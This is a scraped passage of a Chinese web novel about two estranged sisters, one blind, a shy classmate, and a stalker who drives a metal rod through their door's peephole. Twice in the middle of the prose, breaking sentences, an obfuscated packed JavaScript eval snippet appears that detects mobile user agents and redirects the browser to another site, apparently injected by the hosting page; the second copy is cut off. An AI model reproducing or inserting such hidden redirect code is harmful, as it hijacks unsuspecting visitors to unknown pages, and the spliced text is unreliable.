沈余离觉得自己不是委曲求全的人,却又觉得自己很容易满足,这个世界声色犬马纸醉金迷,但她只需要看沈祈生一眼,就觉得什么都不重要了。 沈余离看着沈祈生,看着她跟别的姑娘在一块儿走着,才算稍稍放下心,刚想转身离开,却发现走到拐角处的沈祈生冷不防地停下—— 不知为什么,沈余离的心跳漏了一拍。 一眼认出爱的人,是姐妹之间的超能力,是姐姐的超能力,也是妹妹的超能力。 沈余离望过去时,她却像感知到了姐姐的视线一样,在即将拐进拐角之前,停下脚步,然后转过身,几乎是没有任何犹豫地朝着沈余离的方向走来。 她看不见,但她找得到姐姐。 沈余离微微睁大双眸。 那张记忆里稚嫩童真的脸逐渐变得青涩,像一朵含苞待放的花,如今一切都那么得不一样,但沈祈生走过来的时候,身后却像带着呼啸而来的旧时光。 曾经有一个人,和她共享过同一个母亲的子宫,和她面对着来自同一个家庭的命运,她们的身体里存在着相同的遗传物质,彼时秋风萧瑟寒冷,茂密的枫叶林遮住了太阳,头顶的火红在沈余离心底茫然地烧了六年,如今,终于被宿命赋予了重逢的导向。 小姑娘站定,抬眸,沈余离站在原地看着她。 蓬山市的天气太冷了,冷到沈余离觉得,就连这一刻,都一并被冻结了。 “……”沈祈生有些迷惘地望向前方,试探道,“是姐姐吗?” “是姐姐。”沈余离眼睛酸了,笑道,“好久不见。” . 沈余离以前看书的时候,不是没看到过久别重逢的桥段,里面的人常常会在大雪纷飞中四目相对、蓦地愣住、然后下一秒狂奔向对方、紧紧地相拥而泣,往日积压隐忍的一切会在视线相撞时喷薄而出,分别岁月里的辛酸苦楚像走马灯一样倒带回放,浓烈思念与汹涌爱意炽热到能融化冰雪,在熟悉又陌生的人出现在拐角时,诧异、惊喜、悲伤、委屈,任何大起大合的情绪在都能在此刻齐头并进,叫嚣着吞噬周遭的一切。 沈余离在看到沈祈生时却没想那么多,第一反应是,哦,长这么大了啊。 原本她要俯身才能平视的姑娘现在比她还高一点儿了,扎着松散的低马尾,怔怔地看着她。 沈家姊妹因为上一辈的基因遗传,有着亚洲人的长相,发色瞳色却都偏浅,姐妹俩并非双胞胎,却长得很像,沈祈生还没长大的时候,沈余离看她,总像在看几年前的自己。 沈余离仰头看着她,微微一笑:“你长高了哦,小祈。” 沈祈生看不见,下意识地去抓沈余离的手,她摸摸索索地覆上姐姐的手背,正想开口说什么,沈祈生身后突然传来一道惊讶的男声:“……沈余离同学?!” 沈祈生被吓了一跳,把沈余离抓得更紧了,沈余离抬头,正对上宋未海那张红得跟猴子屁股一样的脸。 宋未海看见她,又震撼又紧张,脸颊温度一下子又飙升了:“你你你你你你好!!” 沈余离面无表情:“ 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见三人对宋未海的方案全票通过,沈祈生决定先去开假条,沈余离带着她去找了她们的班主任,拿出自己的学生证和身份证,进行了一个简短的情况说明,班主任在详细地核对过二人的姐妹身份之后,允许沈祈生在下周一返校之前办临时走读,她从抽屉里拿出一张离校登记纸让沈祈生记录,沈余离又帮着沈祈生收拾了几件衣服,在一切打点妥当之后,三个人去了马路对面的咖啡馆,找了个位置坐下。 “好久不见。”宋未海拉开椅子坐下,对沈祈生微微点头,然后笑着跟沈余离解释,“我和沈同学见面都在一年前了。” 语毕,沈余离下意识抬眼看向宋未海。 对面的宋未海接收到沈余离的视线,突然被提醒到了什么,倏地一下坐直,看向沈余离,声音蓦地减弱下去:“啊抱歉……你也是沈同学,这么叫容易混起来……不过说起来,你和你妹妹长得真像。” 沈余离扫了下桌角的二维码,把手机推给沈祈生让她点饮品,听到这话,面不改色地开口:“可以叫小鱼。” “……啊?!”宋未海刚缓过气没多久,这会儿从脸到脖子又像上了十层腮红,差点以为自己听错了,连声音都是发抖的,“你——你刚刚说什么?” 沈余离却只是弯着嘴角,没再回答他的话,把手机递到他面前:“随便选,我请。” 宋未海又像在电玩城玩推挡游戏一样把手机推过去,拼命地摇了摇头,舌头上像打了个结,连话都说不利索了,整个人快埋到桌子底下了:“不不不不不行,这哪好意思。” 沈余离低头剥开一颗棒棒糖塞进嘴里,撩眼盯着他看,平静道:“没关系,我本来也要找机会谢谢你。” “……”沈祈生迷茫的视线在二人之间徘徊,抿唇半晌,才小心翼翼地举手提问,“小宋老师,你是姐姐的男朋友吗?” 她这话一出,沈余离和宋未海再次陷入沉默:“……” 流水的妹妹,铁打的问题。 风水轮流转,苍天绕过谁,宋未海的窘迫终究降临到沈余离身上,她一扶额,略微显得有些无奈:“……不是,小祈,我们就是普通同学。” 事实证明,沈祈生比宋无霜乖多了,说什么是什么,嗯嗯地点头,没再打破砂锅问到底了。 宋未海见这姑娘没再语出惊人,刚想松口气,突然见沈余离脸色迅速阴沉下来,下一秒冷不防地起身,不由分说地把沈祈生往里面推了推,言简意骇道:“换位子。” 沈余离这一下子毫无征兆,让宋未海和沈祈生双双吓了一跳,沈余离却没多解释,只是利落地将糖拿出来,眯起眼“啧”了一声,目光犀利地紧盯门口。 宋未海见她这副样子,莫名浮现出一股不详的预感,他顺着沈余离的视线望去,看清的刹那,心底猛然一凛! 就在人来人往的门口,有一个人像被定格了那样,一动不动地站在那里—— ——赵志云站在人潮中,他看起来很狼狈,头发凌乱、双眼红肿,眼神却阴狠又凌厉,像一柄快刀,死死地盯住他们的方向。 14. 睚眦必报|四 . 赵志云对上沈余离的眼神,倒也不心虚闪躲,只是微微仰头,居高临下地看向她,意味不明地勾了下唇,然后再转身离开。 “等……等一下!”宋未海不受控制地感到浑身冰凉,冷水像是漫遍了他的四肢百骸,他下意识地抓住了沈余离的衣袖,出生在警察家庭让他本能地直觉不对,“他不会是在——” 特意蹲你们的点吧? 后半句话宋未海及时咽下去了,现在赵志云鬼鬼祟祟地出现在沈余离的视线里,是一种赤裸裸的挑衅和威胁,沈余离当下正在直面这样的境况,他不能再往她的心理上增加更多的恐惧。 沈余离冰冷地盯着前方:“不知道。” 她没有慌张,几乎是当下就做出了判断,转头看向沈祈生,道:“这段时间里你不轻易跟陌生人走,即使打着我的名号也不可以,如果实在不行,你就让妈妈和叔叔接送你一段时间。” 然而沈祈生似乎并没有察觉到发生了什么,只是从沈余离的语气变化里听出了不对,她看着姐姐,轻轻地摇了摇头,实话实说道:“姐姐,妈妈那里回不去的。” 沈余离皱起眉,隐约觉得不对劲:“为什么?” “她说……如果我回去的话,会麻烦弟弟还有叔叔。”沈祈生目视着前方,小声道,“我三年没回家了,姐姐。” 短短一句话,却轰地一声炸开在沈余离的脑子里,寒意从脊椎处一路炸开,击得她心脏都颤了一下,她转过身,一把握住沈祈生的肩膀,眼神蓦地严肃起来:“小祈。” 沈祈生被这突如其来的动作吓了一跳,她瑟缩了一下,脸色有些苍白地看向沈余离,唇畔在微微颤抖。 “……对不起,很早之前,我就应该注意到的。”沈余离像是回忆起来什么似的,然后倏地松开手,深呼吸了一口气,强迫自己立马冷静下来,“抱歉,小祈。” 从很早很早以前,她就不该再报任何希望的。 沈余离之前所有孤注一掷的决绝和底气来源于她一直是独自一人,她的身前身后都没有牵绊,也没有什么人能拿这些作为软肋困住她,但是现在情况不一样了,现在坐在沈余离旁边的就是她的亲生妹妹,她最希望能够拥有幸福一生的人,当强烈的情感介入判断,沈余离自知没办法保持百分之一百的绝对理性,但她身后就是沈祈生,即使硬扛下这一切对她来说有些勉强,她也没有任何一点儿的退路可言。 宋未海看着沈余离愈发冰冷的神色,有些担忧地开口:“沈同学……” 沈余离低下头,双手撑着前额,沉默了好久,才重重地吐出一口气,沙哑道:“我没事。” 就算是面对着这样的境况,沈余离也没有失态,但是额头上起的那一层细细密密的汗和隐隐泛红的眼底,都在无声透露着她在极力克制自己的情绪,音量被压制至气声的地步,每一个字的发声都用力到尾音颤抖:“我以为……我妈是真心想——” 沈余离没再说下去了。 尽管她明面上还算冷静,但是宋未海总感觉她心底有什么在怒吼着席卷而来,但被她强行镇压了下去,他也知道她没说出口的后半句话是什么,他犹豫了须臾,顿了顿,还是伸手,轻轻扯住沈余离的袖子,半扣住她的手腕,温声道:“不会一点儿余地都没有的……我……我会跟你一起找解决办法的,我保证。” 沈余离看了宋未海一眼,宋未海说话会让人觉得自己站在台风中气旋最稳定的风眼处,尽管前方越过眼墙就是狂风肆虐、雷暴轰鸣,但只要被他的声音拉回神,转身就是万里无云的晴空。 沈余离知道以当下的情况,他可能也只是礼貌性地安慰一句,但沈余离仍然觉得心中那点儿烦躁被短暂地抚平了,她坐回座位,深深吸了一口气,再开口时,语气已经与平常无异:“……谢谢你。” “我想把小祈接回家去住,我也办走读,我来接她,她一个人待在这里我不放心。”沈余离看向沈祈生,“你觉得呢,小祈?” 沈祈生听到能和姐姐一起,原本失落的神情在此刻陡然一亮,很是吃惊地点点头,然后满脸期待地挽住沈余离的手臂,看着她那样无忧无虑满心欢喜的笑容,沈余离心底那种一抽一抽的痛感再度升起,她看着妹妹,抿了下唇,没再多说什么。 “看起来小沈同学挺乐意的。”宋未海看向沈余离,一直有些紧绷的脸上强扯开一丝微笑,但转而又有些担忧道,“但是赵志云他……” “没关系。”沈余离这会儿已经彻底回神,她在桌底握住沈祈生的手,五指收紧,感受着血亲指尖的温度,沈余离回望着宋未海,带着一种无法被任何事情动摇的坚决,一字一顿道,“我会保护我的家人。” 宋未海听到她这句话,睫毛微微一颤,但他却没有说什么,只是小幅度地点了点头。 . 三人从咖啡馆里出来之后,宋未海和沈余离帮沈祈生收拾了宿舍里的东西,办好了临时走读,宋未海照例送她们两个回家,几个人在门口道了别,沈余离关上门后,靠在门上,缓缓吐出一口气,平复了一下心情,在手机上打字,让沈祈生去洗澡休息。 沈余离没开大灯,只摁亮了桌前的台灯,划开手机,开始一条条查询转移未成年人法定监护人所需要的手续和流程。 百度上的说法众说纷纭,没有一个足够系统和官方的解答,沈余离皱了皱眉,打算改天去寻求一下法律援助,她正打算再往下找找更多的信息,突然觉得身后有人覆了上来,紧接着未干的长发垂下,晶莹冰凉的水珠顺着发丝滚落,打湿了沈余离的校服领口。 熟悉清爽的香气扑面而来,沈祈生双手环住沈余离,下颚靠在她的背部轻轻蹭了蹭。 “嗯?”沈余离抬手握住沈祈生的手背,沈祈生虽然不能像健全的孩子一样,能看到面前的景象,失明的孩子,最先依靠的是触觉来感受世界的形状,当二人双手相碰的那一刻,血亲之间难以名状的默契和共感还是犹如刹那的花火,让沈余离很快明白了沈祈生的意思,她安抚般地拍了拍沈祈生的手臂,温柔哄她:“姐姐去换件衣服,很快就来陪你。” 沈祈生点了点头,缩回到原地,乖巧地等着沈余离。 大约过了十几分钟,卧室门重新被推开,沈余离披着半湿的头发走进来,肩上搭了一条毛巾坐到床边,伸手调暗了台灯的亮度,靠在床头,伸手,不轻不重地把沈祈生揽到怀里,下巴搁在她的发顶,怀里的沈祈生没有动作,就这么安静地靠在她的身上,沈余离神色复杂的平视着前方,她看着两个人的影子被一同投射在墙上,昏黄的灯光下,周围带着潮湿的热意, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062680|195100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水汽浸湿了衣领的边沿,鼻尖是淡淡的香气,整个房间里只有布料轻微摩挲的声音,沈余离沉默了片刻,随即稍稍蜷起身子,半张脸埋下去,抱紧了沈祈生。 有句话,她一直想告诉妹妹,可惜后面再没能说出口了。 “对不起。”她顿了顿,片刻后,又有些固执地重复了一遍,“……对不起。” 沈祈生感到头顶有振动,但她却看不到此时的光景,只是在沈余离怀里换了个侧躺的方向,双手环到她背后拍了拍。 感受到背部传来的触感,沈余离怔了片刻,然后不受控制地微微一颤。 天生的残缺让沈祈生从小生长在了一个截然不同的环境,她的世界是无尽的黑暗,就连同心智都像一个刚结束洒水礼的婴儿,对人间的腥风血雨一无所知,却用最直接最纯粹的方式去触碰生命里的喜怒哀乐。 她看不见沈余离带着愧疚的眼睛,也不知道现在正在面对着什么,她只是凭借本能的反应去拥抱她最后的亲人,却也阴差阳错地成为了一种回答。 她们中间隔了千万条沟壑,前方是重峦叠嶂、万丈深渊,但料峭悬崖上却总能挣扎出一株一株的野草,顽强不死的个体连成一条细长蜿蜒的绿色生命线,连接起南山头与北山头,连接起她的心脏与她的心脏。 沈余离抱着沈祈生,一动不动,灯影之下,一行清泪无声滑落。 当小说里重逢桥段的映射进她的生活里,他人所描述的狂喜与心酸只化作一股柔和的风,盘旋在沈余离的心尖上,这时她心中就只有一个念头,只有一个清晰、且强烈的念头—— ——她要保护好沈祈生,她们再也不会分开了。 “姐姐在这里。”嘴里传来咸涩的感觉,泪痕很快风干,沈余离哑声道,“咱们回家了。” 沈祈生像是听懂了似的,将头埋得更深,呼吸声平稳轻柔,没过一会儿就睡着了。 沈余离怕惊扰她,没有再躺下,就这么维持着半抱的姿势,沉浸在和自己一模一样的气息中,缓缓地阖上眼睛。 家里为了节省电费没开暖气,手机里是气温骤降的天气预告,沈余离前几天翻出来的冬季外套堆在椅子上,明明快要入冬,但她却觉得,这是她度过的最温暖的一个夜晚。 . 沈祈生睡觉不太老实,沈余离清晨睁眼的时候,她已经四仰八叉地躺去了床的另一边。 看着睡得正香的妹妹,沈余离无奈地笑了下,起身披了件外套,打算下楼把昨天没丢的垃圾扔下去,等她一手拎着垃圾袋,一手拧开门把手的时候,看到眼前的景象,却猝不及防地呼吸一滞—— 清晨的阳光照得楼梯间无比敞亮,本应空旷的楼道里,有一个男生穿着蓬山三中的校服,就这么席地而坐在最高一阶的楼梯上,斜靠着栏杆睡着了。 沈余离愣了愣,抬脚走过去,弯身打算确认。 太阳光线从墙上的小窗斜照而下,细细碎碎地落在他的刘海上,眼睛下方有一圈明显的黑眼圈,他一手搭在膝盖上,一手抓着手机,眉头紧紧拧着,看起来像刚睡着不久。 沈余离无意看别人的手机内容,但他的手机屏幕直接翻开朝上,也没熄屏,那上面,是一条没有发出去的报警短信。 楼道里,这个睡着的男生,正是宋未海。 15. 克洛诺斯|一 . 沈余离张了张唇,想要出声,但半天都没能说出话。 她站在原地,纠结了片刻,还是先决定下楼把垃圾丢了,等她再上楼的时候,宋未海还是没有醒的意思,沈余离站在寒风萧瑟的楼梯口,盯着他沉默了须臾,下一秒开门转身进去,抓了条毯子出来搭在宋未海的身上。 沈余离动作不重,但宋未海睡眠浅,加上整晚精神紧绷着,忽然猛地一抖,然后清醒过来,和沈余离视线相撞。 看到沈余离的脸,宋未海吓得又是一激灵,急忙指着自己:“我……我——” “你……”沈余离拎着毯子的手就这么悬在半空中,思索片刻,真诚地建议道,“你要不去我家睡一会儿?” 宋未海觉得自己体温这会儿可以直飙41摄氏度,想要站起来,又差点从楼梯上摔下去,连话都说不清了:“这这这这是什么话呀!!” 见他失去重心,沈余离眼疾手快地扯住他,一脸认真地和他分析:“你这个姿势维持太久了,一下子站起来容易头晕腿软。” 宋未海虚弱地为自己辩驳:“不是这个原因……” “楼道里太冷了。”沈余离拽着他没放手,“走。” 宋未海感觉整个人晕乎乎的,不知道是因为一夜没睡,还是面前的场景太不真实:“那个沈同学谢谢你关心我,但是……” “没关系,不用太有心理负担。”沈余离用诚挚清澈的眼神看向宋未海,十分认真道,“万一你等会儿晕过去,我还得负责给你叫120。” 宋未海就像一个发高烧的人突然被强行按上了冰冰贴:“……” . 沈余离之前出门的时候沈祈生还睡着,但等沈余离开门的时候,沈祈生也差不多醒了,小姑娘明显听到门外多出了一个人的动静,有些好奇道:“姐姐,谁来了?” 沈余离一手卡着宋未海,面不改色地跟沈祈生解释:“昨天咖啡店里的那个哥哥。” 沈祈生:“……” 早上她隐约听到她姐拎着一个垃圾袋出去,结果再回来时就…… ……多捡了个男人? 小姑娘一脸迷茫地看向沈余离,眨了眨眼睛。 沈余离似乎没觉得有什么,神色如常,拉着宋未海把他拉到沙发上,再一毯子兜头盖下去。 而此时此刻,沈祈生还沉浸在巨大的震撼中,她朝着宋未海的方向偏了偏头,又转向沈余离,一脸严肃地沉吟须臾,然后恍然大悟地点了点头。 宋未海察觉到小姑娘的目光,干脆一手盖住自己的眼睛,生无可恋地倒在沙发上装死,放弃了解释清楚整件事的可能。 沈余离把他扔沙发上以后就没再管他,径直走进厨房倒水,在低头拿玻璃杯的时候,沈余离的手顿了顿,最后还是拿个三个杯子,倒了杯水,轻轻放在沙发前的茶几上。 宋未海大抵昨天是真的没怎么合眼,入睡的速度相当快,沈余离也没继续打扰他,带着沈祈生去楼下的居民食堂打包了三份咸豆花。 姐妹俩一人一份,剩下一份,沈余离留给了宋未海,但是沙发上的人始终没有转醒的迹象,大概是通宵实在太耗费精力,一直等到晚上,宋未海才逐渐清醒。 “你醒了?”沈余离看着沙发上的人坐起来,低头多盛了一碗饭,淡淡道,“上次留了宋警官电话,我跟他说过了,你在我这里。” “……?”如果说宋未海刚才还睡眼朦胧的,这会儿他是彻底清醒了,失声道,“你跟我爸说了?!” “对啊?不然你彻夜未归会被让家里人担心吧。”沈余离一脸莫名地看向他,但很快收回视线,“过来吃饭。” 宋未海:“……” 沈余离的神色太坦荡正直了,她这么做也确实合情合理,但宋未海却莫名地觉得,面前看似正常的氛围中,陡然生出了一丝难以名状的微妙。 三个人围坐在一张桌子前,沈余离抬眸,看向宋未海,看起来并没有任何拐弯抹角的意思,直接打开天窗说亮话:“你昨天晚上没回去吗?” “啊……”宋未海刚拿起来的筷子又搁了回去,他有些不敢看沈余离的眼睛,小声道,“不、不好意思……早上吓到你了吗?” 沈余离的表情没有产生任何变化:“没吓到,不过确实挺吃惊的,我还看到了你的报警短信,昨晚怎么了吗?” “不,不是……放心,昨晚没什么。”宋未海摇了摇头,“我就怕赵志云昨天那个样子,晚上过来找你们,但我又又打不过就……先编辑好了,万一真有什么,我能发的出去。” 沈余离原先在低头吃饭,听到他这句话,手上地动作猛地停住了,抬眸看向他:“你说什么?” “啊你别误会啊!”宋未海摆了摆手,“不好意思擅作主张了……主要我说要陪你一起面对着这件事,就总想着……不能光说不做吧。” 说到后面,宋未海的说话声越来越小,头埋得越来越低,手也绞得越来越紧,他没做什么心虚的事情,心脏却还是不受控制地狂跳起来。 沈余离没有说话,只是放下筷子,就这么静静地垂眸看他。 客厅里寂静得可怕,只有三个人此起彼伏的呼吸声,宋未海感受到了沈余离的视线,觉得被她盯着的地方炽热得要烧起来,可就是没有勇气和她对视,但见她不说话,又慌得厉害,干脆咬牙一狠心,道:“……对不起!下次我会……” “谢谢你。”沈余离直视着他的眼睛。 宋未海愣了一下:“啊?” 沈余离看着他,语气难得温和:“为什么要跟我道歉呢?” “因为我……”宋未海终于敢抬起眼睛看她,但很快又移开视线,“毕竟是我自作主张……” “不会。”沈余离轻轻摇了摇头,“我从未这么觉得。” “那就太好了。”宋未海重重地松了口气,如释重负地笑了,“如果没给你带来麻烦,就太好了……没帮什么倒忙就好。” 沈余离微微一笑,看了看正在埋头吃饭的沈祈生,又望向前方,前面枯枝茂密、天光明亮,她看着窗外镜面似的天空,眼神放空,不知道在想什么,但转而又突然出声:“宋未海,其实你没有自己想象的那么不堪。” 宋未耳根又是一红,下意识地摇头,但沈余离却抢先他一步:“就像我觉得你说陪我是在安慰我,其实你不是一样,你觉得我是在安慰你,但我不是。” 宋未海绞在桌子底下的手指突然一松。 沈余离的眼睛像光线液化、汇集、再凝固的结晶,当太阳的芒焰在她的眼眸中流动时,那双眼睛就显得越发透净明亮,即便没有那么多汹涌的情绪在她的眼底翻涌,却依然有一种发自她内心的无坚不摧,在这双眼睛中平静地燃烧。 沈余离居高临下地看着他人时,那双眼睛就会变得像浸泡在冰川融水里的琥珀,冰冷而漠然,但现在她带给他的感觉不是这样的,这一刻就像在清晨的寒冬,暴雪狂风全部归于平静,只有头 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宋未海只觉得视野边沿金光灿烂,一种恰到好处的温暖披在他的肩上,正当他感到有些不真实时,目光中央一直在沉默的人却动了。 沈余离微微后仰,转头看向无穷无尽的远方,大片的光芒映照在她的脸上,宋未海恍了神,然后在梦境一般的虚幻中,他听到沈余离轻声开口,少女的声音,像是穿越过有克洛诺斯和阿南克彼此盘旋的宇宙,抵达他的眼前,缥缈又真实地击打在他振动的心脏上:“这句话,是只对你说的。” 宋未海瞳孔微微紧缩,他有些不解地看向沈余离,却只看到她身陷在那条金色的河流中,满目光辉里,他仿佛看到她勾起了唇角。 . 吃完晚饭后,宋未海坚持要帮沈余离收拾碗筷,沈余离想着他毕竟是客人,先是礼貌性地说了句不用,但是在宋未海执着地多次要求后,她还是一时没忍住:“……你这有什么奇怪的癖好吗?” “……都这么麻烦你了!”宋未海在这件事上显得异常坚持,丝毫不肯让步,一字一句无比坚定道,“你的那碗豆花,我会带回去吃完的!” “……”沈余离一时哑然,“那倒……倒也不必。” 虽然沈余离很不能理解这世界上居然有人热衷洗碗,她多干点儿事儿不如少干点事儿,于是在宋未海的苦苦坚持下,沈余离带着感恩的目光,还在厨房给他空了个位子。 他们各占据一个角落,两个人在平日里都不是话多的性格,气氛再次陷入一种奇怪的安静之中,但是这种氛围并没有持续多久,因为沈余离家的门突然被用力敲响了。 一开始厨房里水龙头的哗啦声盖住了大半敲门声,沈余离一开始以为自己听错了,但过了一会儿,声音又持续了几下,这次比先前的更凶、更急、更用力,沈祈生吓了一跳,赶忙跑来厨房找沈余离,沈余离愣了下,然后甩了甩手上的水,转身走出门。 宋未海关了水龙头,看着沈余离的背影,心中莫名升起一股强烈的慌张,他连手上泡沫都没来得及冲,就看到沈余离站在门口,转开了猫眼,正打算往上面凑—— 心慌感直逼顶峰,宋未海猛地跨上一步:“等一下,沈余离!” 唰!!! 就在她要把眼睛完全贴上的那一秒,宋未海一把抓住沈余离的领子,把她用力往后一拽,几乎是零点几秒之后,玻璃碎裂的声音骤然响起,碎片迸溅而开,宋未海心头一凛,立马伸手捂住沈余离的眼睛,下一刻,一根细长尖锐的铁棒,从猫眼的裂口贯穿而出! 16. 克洛诺斯|二 . 在所有人都尚未反应过来的时候,宋未海率先感受到,自己的眼睛传来了一道很细微的刺痛。 哐当一声巨响,沈余离直接跌进了宋未海怀里,两个人一同摔在地板上,宋未海一条胳膊垫在她头下面,立马坐起身,一手捧住她的脸板过来,满脸焦急地凑近她:“没事吧?!” 一旁的沈祈生虽然看不见,但听着动静也能察觉到不对,扑通一声跪到沈余离身旁,眼神惊惧,颤抖着手去试图找到沈余离的位置,无助地从喉管中发出几个音节,求助的视线投向宋未海,手指着沈余离,眼泪又急又快,像是快要喘不上气来:“姐姐……姐姐……姐姐她——” “没事的,没事的,你先不要着急。”宋未海觉得心脏快跳出嗓子眼了,额头惊出了一层冷汗,但情急之下,他还是先简短地安抚了沈祈生的情绪,紧接着从一旁拿起手机,把昨天编辑好的消息发送出去,再打给110说明了地址和情况,迅速地报完警之后,他一手把沈余离捞起来,半跪着让她枕在自己的膝盖上,凑近要去看她的眼睛。 沈余离感受到有人在靠近,下意识地伸手挡了一下,宋未海扣住她的手腕,把她的手轻轻移开,放轻声音道:“不会有事的小鱼,你别动,你让我看一下。” 他一手垫着沈余离,另一只手捧着她的脸把她固定住,细细检查有没有受伤的地方,耐心地引导她:“你试试看,眼睛可不可以睁开……或者痛不痛……小鱼?——嘶。” 宋未海还没说完,突然感到就在距离自己眼角几寸的位置,有一阵轻微的痛感传来,宋未海下意识伸手捻了下,再看,食指指尖有一丁点儿殷红的血渍。 他见伤势不太大,只当是刚刚被玻璃擦到的,要继续低头去检查沈余离的伤势,沈余离却已经率先睁开了眼睛,撑着地板坐起来:“我没事。刚才没反应过来。” “啊,没事就好。”宋未海见她眼睛没什么大碍,松了口气,立马瘫坐在地上,“刚刚我魂都快被吓出去了,幸好……幸好你没事。” “嗯。”沈余离的神色很冷,她没有多停留,一言不发地转身去厨房抄了把菜刀,准备重新去门口查看,却被宋未海一把抓住了。 沈余离转头看着他,宋未海被她看得有点儿紧张,咽了口唾沫,解释道:“我报警了,你先别出去,太危险了。” 说罢,他又很惊慌地瞟见沈余离掂了掂手上的刀。 ……虽然不知道谁更危险一点就是了。 沈余离听到他的话,停驻了片刻,然后一言不发地坐回去,哐当一声将危险物品放在脚边。 她抬眸看向一旁的沈祈生,看见她眼睛红了,声音放缓了些:“吓到你了没?” 沈祈生抿着唇,眼泪还没止住,但是仍摇了摇头。 几分钟后警察赶到,沈余离开了门,门口只剩一地狼藉,沈余离面无表情地盯着地上的玻璃渣子,然后抬头,看向门口的两位警察。 . “我听到敲门声然后就准备去查看,这时候,就有根细铁管捣碎猫眼捅进来了。”沈余离讲述时表情淡然,从她的语气里听不出一丝一毫的害怕,仿佛刚才的经历这一切的不是她,而另有其人。 警察点了点头,看向四周的墙角,皱眉道:“楼道里没有监控吗?” “物业经费不够,加上他们说要保护住户隐私,所以就没有安装。”沈余离淡淡道,“老小区了,小区正门那个监控摄像头坏了好久了,一直没修。” “好,我了解了。”那两名警察点了点头,“我们还是会调监控,但根据这种情况,真凶很难找到……如果你不放心,可以跟我们到警局做个备案,但是未成年人备案需要监护人签字,如果要做备案,需要带上你的家长。” “……”沈余离顿了顿,脸上表情没什么变化,像是只在陈述一个简单的事实,“他们可能都不太方便。” “但是这件事需要通知你的监护人。”警察的表情变得严肃起来,“需要给你父母打电话。” 沈余离垂眸,盯着脚尖,须臾,幅度很小地摇了摇头:“我没有他们的联系方式,我的监护人暂时没有时间。” 听她这么一说,宋未海突然又想起在巷尾的那次,沈余离的小姨一边抱怨着一边过来签了字,还跟她说什么要不是警察给她打电话,她根本不回来,顺带再数落了一下沈余离就风风火火地离开了。 他之后其实小心地询问过沈余离,对方倒是很坦诚,说当时她父母离婚之后全部杳无音讯,因此沈余离的监护人就变更为了她的小姨,只不过她小姨并不喜欢她,也并不管她罢了。 他有些担忧地看向沈余离,但后者似乎并没有受到什么影响,只是波澜不惊地看着警察。 “……好,我们了解大概情况了。”警察正色道,“我们会通知物业安保加强对这栋楼的巡逻,同时,你也要保持警惕,如有异常,随时报警。” 沈余离点点头,算是答应了。 警察离开后,宋未海看着那个被生生凿空的猫眼,声音有些不受控制地发抖:“你……你要不要考虑搬家?或者干脆长期住在学校里,他现在摸到了你的地址,人还抓不到,那不就——” “他能把我这个家的地址找出来,”沈余离看着那个猫眼,平静道,“那我下一个家的地址,他自然也能找出来,这不是长久之计。” “但是——”宋未海一把抓住沈余离的胳膊,脑海中各种恐怖血腥的画面已经如同泉水般不断涌现,以往新闻上看到的各种字眼让他浑身冰凉,一想到未来沈余离都会长久地活在这个人的监视下,随时承受着一颗定时炸弹把她炸得粉身碎骨的风险,一想到有人在暗处长久地窥视着她,宋未海就一个激灵打上来,那种对未知危险的惊惧密密麻麻地啃食着他的神经,让他一下子被拽到了崩溃边缘,连尾音都有些尖利,“这个小区安保不太到位,你又是女孩子,沈余离,那个人随时都有可能再来,你这样真的很危险、很容易出事的,我——” 大概是宋未海掌心的温度实在冷得吓人,沈余离这才回头看他,抓着自己的少年,从脸色到嘴唇都十分苍白,眼神中的担忧和后怕像是海啸一般失控汹涌,甚至紧抓着她的手,还在轻微地发抖。 沈余离看了看他,近乎是无声地叹了口气:“不会有事的。” “你得警惕一点啊!对面是个疯子!”宋未海的音量难得拔高了,攥着沈余离的手也收得更紧,“我不是否认你……我知道你很厉害,真的,我从来没有怀疑过,可是男女力量的悬殊毕竟摆在那里,你看网上那些和独居女性有关的社会性案件,要是事发的时候,几乎是没有反抗的机会的……我不敢想象你出事,沈余离,真的,这个危险太大了。” 沈余离被他抓着,试图挣了挣,但一时没能抽开来,便没再动作,只是盯了他片刻,突然出声道:“可我现在不是还好好地站在这里么。” 担忧和恐惧几乎已经占据了宋未海的全部大脑,沈余离这一句话有些突兀,像一道冷冷的激流蓦地击中他,让他没太反应过来:“……什么?” “我的意思是,我不是还没成为受害者么。”沈余离一动不动地看着他,重复了一遍,“为什么事情还没发生前,大家都会默认我已经受害了?” 宋未海的十指一松,突然愣住了。 “现在感觉好点了吗?”沈余离甩了甩被捏得有些痛的手臂,面无表情地看着宋未海,难得耐心地解释道,“我没有否认过独居女生确实要面临更多危险,也需要更加警惕,但你有没有想过……网络上铺天盖地地宣扬着绝对力量上的差距,虽然从某种程度上是在阐述事实,但另一方面,他也可能是一种心理暗示。” 宋未海张了张唇,心中像打开了一道小口,隐隐有什么东西要喷薄而出,在他的认知中却依然模糊不清:“你是……什么意思?” “女性受害的案件不在少数,但是女性反击成功的案例依然不在少数。”沈余离盯着他的眼睛,一字一句道,“大家对力量差距的顾忌,让很多姑娘往往认为自己没有反抗的能力,从而自动地把自己放在了受害人的位置,‘不相信自己有能力去面对和反击’,让很多人从一开始就没有了反抗的动力,这其实是一件很可怕的事情。” “我不是要莽撞地去硬碰硬,如果有其他避免冲突还可以把风险降到最低的方法,我一定做,但是现在,赵志云不是临时起意,他是蓄谋已久、是咬死了我。”沈余离看着他,轻声道,“我退无可退了,宋未海。” 宋未海一怔。 不知道为什么,即便现在心中的恐惧如暴风下的浪涛,但就在这水花肆虐的正中央,有一块永远不会被摧毁和吞没的礁石,屹立在那里始终不倒,让他莫名地感到一丝安心。 对面的姑娘表情从容,即使在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 